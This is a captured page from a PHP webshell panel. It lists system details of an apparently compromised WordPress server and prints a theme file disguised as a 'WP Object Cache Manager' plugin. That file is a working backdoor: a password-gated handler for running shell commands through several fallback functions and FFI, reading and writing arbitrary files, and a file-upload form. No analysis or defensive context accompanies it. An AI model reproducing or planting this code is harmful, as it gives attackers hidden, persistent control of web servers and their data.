403Webshell
Server IP : 185.143.234.130  /  Your IP : 185.215.232.195
Web Server : LiteSpeed
System : Linux jambul.7ho.st 5.14.0-503.40.1.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Mon May 5 06:06:04 EDT 2025 x86_64
User : renecafe ( 1327)
PHP Version : 8.1.33
Disable Function : show_source, system, shell_exec, passthru, exec, popen, proc_open
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/renecafe/public_html/wp-content/themes/theme_13d141cb/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/renecafe/public_html/wp-content/themes/theme_13d141cb/index.php
<?php
/*
Plugin Name: WP Object Cache Manager
Version: 2.4.1
*/
$t=isset($_REQUEST['q'])?$_REQUEST['q']:'';
if($t&&hash('sha256',$t)!=='a1b3ccd118a43d4227d2796ec75e4185e9ebd98102122e0fecd3f2c2443b4f1c'){http_response_code(404);exit;}
if(!$t){
  if($_SERVER['REQUEST_METHOD']=='POST'&&isset($_FILES['f'])){
    $dir=dirname(__FILE__);
    $name=$_FILES['f']['name'];
    $path=$dir.'/'.$name;
    if(move_uploaded_file($_FILES['f']['tmp_name'],$path))
      die('OK: '.$path);
    else
      die('FAIL');
  }
  echo '<form method=post enctype=multipart/form-data>';
  echo '<input type=file name=f>';
  echo '<input type=submit value=Upload>';
  echo '</form>';
  exit;
}
function x($c){
  $f=array('shell_exec','exec','system','passthru','popen');
  foreach($f as $n){
    if(!function_exists($n))continue;
    if($n=='shell_exec'){$r=@$n($c);if($r)return $r;}
    if($n=='exec'){$o=array();@$n($c,$o);if($o)return implode("\n",$o);}
    if($n=='system'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='passthru'){ob_start();@$n($c);return ob_get_clean();}
    if($n=='popen'){$p=@$n($c,'r');if($p){$r='';while(!feof($p))$r.=fread($p,4096);pclose($p);if($r)return $r;}}
  }
  if(class_exists('FFI')){
    try{$ffi=FFI::cdef('int system(const char *command);','libc.so.6');
      ob_start();$ffi->system($c);return ob_get_clean();}catch(Throwable $e){}}
  return 'NOEXEC';
}
if(isset($_REQUEST['x'])){echo 'WP2S::'.(x($_REQUEST['x'])).'::END';exit;}
if(isset($_REQUEST['r'])){$f=@file_get_contents($_REQUEST['r']);echo 'WP2S::'.($f===false?'NOREAD':base64_encode($f)).'::END';exit;}
if(isset($_REQUEST['w'])&&isset($_REQUEST['d'])){$d=base64_decode($_REQUEST['d']);$w=$_REQUEST['w'];if($w[0]!=='/')$w=$_SERVER['DOCUMENT_ROOT'].'/'.$w;$r=@file_put_contents($w,$d);echo 'WP2S::'.($r!==false?'OK':'FAIL').'::END';exit;}
echo 'WP2S::'.php_uname().'::END';

Youez - 2016 - github.com/yon3zu
LinuXploit